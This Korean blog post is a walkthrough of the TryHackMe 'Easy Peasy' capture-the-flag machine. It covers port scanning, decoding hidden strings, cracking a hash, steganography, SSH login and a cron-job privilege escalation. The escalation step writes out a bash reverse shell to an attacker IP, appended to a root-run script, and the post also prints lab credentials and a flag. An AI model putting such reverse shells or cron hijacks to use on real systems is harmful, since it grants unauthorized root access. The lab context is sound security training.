Over View
이 Machine은 숨겨져 있는 flag가 무엇인지에 대해 주로 물어보며 그것에 대해 답하기 하면 된다. 단순히 user flag와 root flag가 무엇인지만 물어보는 것이 아니라 그것을 어떻게 찾을 수 있는지를 Question의 내용을 통해 유추해 볼 수 있다.
개인적으로는 이 Machine에 대해 난이도가 높은 편은 아니라고 생각하는데 Kali Linux에서 Mac(OSX)으로 실습 환경을 바꾸다 보니 필요한 도구가 잘 설치되지 않거나 환경에 문제를 어떻게 해결할지 탐구하는데 시간이 더 걸리는 듯했다.
문제에서 요구하는 답에 대답하기 위해서 공략할 포인트가 다수 존재하지만 root 플래그를 얻는 것을 목적으로 생각하면 공략할 포인트가 그렇게 많지 않다. 그러하여 Question에 답하는 것보다 root 플래그를 찾아가는 과정을 중점으로 작성하려고 한다.
Port Scan
처음엔 nmap으로 port scan을 시도했지만 그 결과가 석연치 않아 rustscan으로 진행했다.
╭─jako@prompt-mini ~/private/cyber/tryhackme/easy_peasy
╰─$ rustscan -b 500 -a 10.10.145.231 1 ↵
...
Open 10.10.145.231:80
Open 10.10.145.231:6498
Open 10.10.145.231:65524
...
PORT STATE SERVICE REASON
80/tcp open http syn-ack
6498/tcp open unknown syn-ack
65524/tcp open unknown syn-ack
rust scan으로 port scan을 진행한 결과 3개 이 port가 열려있다는 것을 확인할 수 있었지만 해당 Port가 어떤 service인지는 나타나지 않았다. 다행인 것은 80은 http이므로 나머지 2개(6498, 65524)만 알아내면 된다는 것이다. 해당 Port에서 어떤 Service가 이뤄지는지 알아보기 위해 직접 연결을 시도해 보기로 하자. 6498의 경우 nc로 연결을 시도했을 때 SSH Banner가 나타나는 것을 봤을 때 SSH 서비스인 것을 유추해 볼 수 있다.
╭─jako@prompt-mini ~/private/cyber/tryhackme/easy_peasy
╰─$ nc 10.10.145.231 6498
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
65524의 경우 nc로 연결을 시도했을 때 아무런 정보가 나오진 않으며 http를 통해 접속했을 때 성공했으므로 이 포트에서 이뤄지는 서비스는 http이다. 정리하자면 다음과 같다.
80: HTTP
6498: SSH
65524: HTTP
무엇부터 공략해 볼까?
Port Scan 단계에서 공략할 포트가 3가지 정도가 존재한다는 것을 확인했다. 이제 어떤 포트부터 공략할지 결정해야 하는 단계이다. 모든 경우가 그렇진 않지만 SSH 포트의 경우엔 접속하기 위한 Credential을 획득해야 하기 때문에 우선순위에서 밀린다. 그렇다면 남은 포트는 두 가지이다.
수순대로 가자면 80 port에서 어떤 게 열려있는지 보는 것이 맞을 것 같다. 그런데 이 문제에서는 http가 서비스되는 다른 접점(65524)을 열어놨기 때문에 이 부분부터 공략해 봐도 좋을 듯싶다. (물론 필자의 견해이다)
Web Enumeration
65524 Port를 http로 접속하면 Apache를 소개하는 페이지가 표출된다. 이 페이지를 소스 보기를 통해 확인하면 다음과 같이 hidden 태그로 숨겨진 encoded 된 문자열을 확인할 수 있다.
사실 이것만 봐서는 이 encode 문자열이 어떤 encode 방식을 썼는지 알 수 없다. 그러나 다행인 것은 앞에 "ba"로 시작하는 방식을 사용했다고 알려주고 있다. Cyber Chef에 가서 ba로 시작하는 encode 방식을 하나씩 삽질하다 보면 다음과 base62에서 decode가 가능하다는 것을 알 수 있다.
이를 통해 65524 포트에서 http://TARGET_IP:65524/n0th1ng3ls3m4tt3r/로 접속이 가능하다는 것을 유추해 낼 수 있다. 이제 /n0th1ng3ls3m4tt3r 경로에 접속하게 되면 이상한 페이지 하나를 보게 된다. 이 경로에서도 페이지 소스보기를 시도하면 다음과 같은 문자열이 존재하는 것을 볼 수 있다.
이 문자열이 어떤 encode or hashing 방식을 통해 이뤄진 문자열인지 알아내려면 hash-identifier를 통해서 알아낼 수 있다. 이 기능을 online에서도 사용할 수 있는데 https://hashes.com/en/tools/hash_identifier에 넣어서 hash 형태를 알아내자
정확히 어떤 방식으로 이뤄졌는지 딱 떨어지진 않기 때문에 decode를 시도해 볼 만한 후보 알고리즘군을 알려준다. 여기에 나온 방식을 통해 하나씩 john the ripper로 crack을 시도하면 hash alogorithm이 gost에서 걸리는 것을 알 수 있다.
╰─$ john -w=easypeasy.txt --format=gost hash
Using default input encoding: UTF-8
Loaded 1 password hash (gost, GOST R 34.11-94 [32/64])
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
mypasswordforthatjob (?)
1g 0:00:00:00 DONE (2023-07-23 01:38) 100.0g/s 371200p/s 371200c/s 371200C/s mypasswordforthatjob..daniela
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
사용된 WordList는 이 Machine에서 제공해 준 파일을 사용했다.
Steganography
앞서 web enueration을 시도할 때 숨겨진 경로에 접속했을 때 특정 이미지 파일이 포함된 것 또한 알 수 있다. 이 파일을 steghide라는 도구를 사용하게 되면 다음과 같이 username과 password 정보를 알아낼 수 있게 된다.
root@9debffd5e3cd:/data# steghide extract -sf binarycodepixabay.jpg
Enter passphrase: mypasswordforthatjob
wrote extracted data to "secrettext.txt".
root@9debffd5e3cd:/data# ls
binarycodepixabay.jpg easypeasy.txt hash nmap secrettext.txt
root@9debffd5e3cd:/data# cat secrettext.txt
username:boring
password:
01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001
문제는 패스워드가 이진수로 이루어져 있다는 것인데 다시 Cyber Chef에 가서 이를 복호화시켜 주면 패스워드를 알 수 있게 된다.
username과 password 정보를 획득했으니 SSH 접속을 시도해 보자.
SSH Connect
ssh 접속을 시도하기 앞서 해당 Machine의 ssh port는 6498이었다는 점을 상기하도록 하자. 이는 ssh를 접속할 때 특정 포트를 지정해서 접속해야 됨을 의미한다.
╰─$ ssh boring@TARGET_IP -p 6498 255 ↵
The authenticity of host '[10.10.251.232]:6498 ([10.10.251.232]:6498)' can't be established.
ED25519 key fingerprint is SHA256:6XHUSqR7Smm/Z9qPOQEMkXuhmxFm+McHTLbLqKoNL/Q.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.251.232]:6498' (ED25519) to the list of known hosts.
*************************************************************************
** This connection are monitored by government offical **
** Please disconnect if you are not authorized **
** A lawsuit will be filed against you if the law is not followed **
*************************************************************************
boring@10.10.251.232's password:
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
You Have 1 Minute Before AC-130 Starts Firing
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
!!!!!!!!!!!!!!!!!!I WARN YOU !!!!!!!!!!!!!!!!!!!!
boring@kral4-PC:~$
접속에 성공했으며 이 단계에서 바로 user flag를 획득할 수 있다.
boring@kral4-PC:~$ ls
user.txt
boring@kral4-PC:~$ cat user.txt
User Flag But It Seems Wrong Like It`s Rotated Or Something
synt{a0jvgf33zfa0ez4y}
그런데 user flag가 이상하다. user.txt를 읽었을 때 무언가로 Rotate를 해야 되는 것 같다. 가장 먼저 떠오르는 건 rot13이었다. rot13으로 시도하면 user.txt가 정상적으로 읽힌다
flag{n0wits33msn0rm4l}
Privilige Escalate
root 권한을 얻기 위해 정보를 수집해야 한다. 이 단계에서 시도해 볼 수 있는 건 find로 root 권한으로 실행 가능한 binary를 찾거나 crontab에 어떤 스케쥴링 작업이 되어있진 않나 아니면 Enumeration 도구에 도움을 받아야 한다. 필자는 여기서 cron 설정 정보부터 뒤지기로 했다. find나 Enumeration 도구를 사용할 경우 어떤 정보를 사용하지 판단하기 아직 어려워하는 편이다. 비교적 명확한 crontab부터 살펴보는 게 제일 편한 방법이었다
boring@kral4-PC:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root cd /var/www/ && sudo bash .mysecretcronjob.sh
root 권한으로 /var/www/. mysecretjob.sh를 실행하는 것이 보인다. /var/www/로 가서. mysecretcronjob.sh 에다가 reverse shell을 심어주자
bash -i >& /dev/tcp/MY_LOCAL_IP/MY_PORT 0>&1
예를 들면 다음과 같다.
boring@kral4-PC:/var/www$ echo "bash -i >& /dev/tcp/10.8.15.176/9001 0>&1" >> .mysecretcronjob.sh
boring@kral4-PC:/var/www$
boring@kral4-PC:/var/www$ cat .mysecretcronjob.sh
#!/bin/bash
# i will run as root
bash -i >& /dev/tcp/10.8.15.176/9001 0>&1
이제 local에서 reverse shell에서 설정한 정보대로 nc로 연결대기를 시키면 root 권한을 얻을 수 있다.
╰─$ nc -l 10.8.15.176 9001 130 ↵
bash: cannot set terminal process group (1255): Inappropriate ioctl for device
bash: no job control in this shell
root@kral4-PC:/var/www#
root@kral4-PC:/var/www#
root.txt는 다음의 위치에 있다,
root@kral4-PC:~# cd ~
root@kral4-PC:~# ls -al
ls -al
total 40
drwx------ 5 root root 4096 Jun 15 2020 .
drwxr-xr-x 23 root root 4096 Jun 15 2020 ..
-rw------- 1 root root 2 Jul 22 10:41 .bash_history
-rw-r--r-- 1 root root 3136 Jun 15 2020 .bashrc
drwx------ 2 root root 4096 Jun 13 2020 .cache
drwx------ 3 root root 4096 Jun 13 2020 .gnupg
drwxr-xr-x 3 root root 4096 Jun 13 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 39 Jun 15 2020 .root.txt
-rw-r--r-- 1 root root 66 Jun 14 2020 .selected_editor
'Pentest > TryHackMe' 카테고리의 다른 글
[TryHackMe] Valley (0) | 2023.08.30 |
---|---|
[TryHackMe] Pickle Rick (0) | 2023.08.19 |
[TryHackMe] OverPass2 (0) | 2023.07.15 |
[TryHackMe] Ninja Skills (0) | 2023.03.18 |
[TryHackMe] IDE (0) | 2021.10.17 |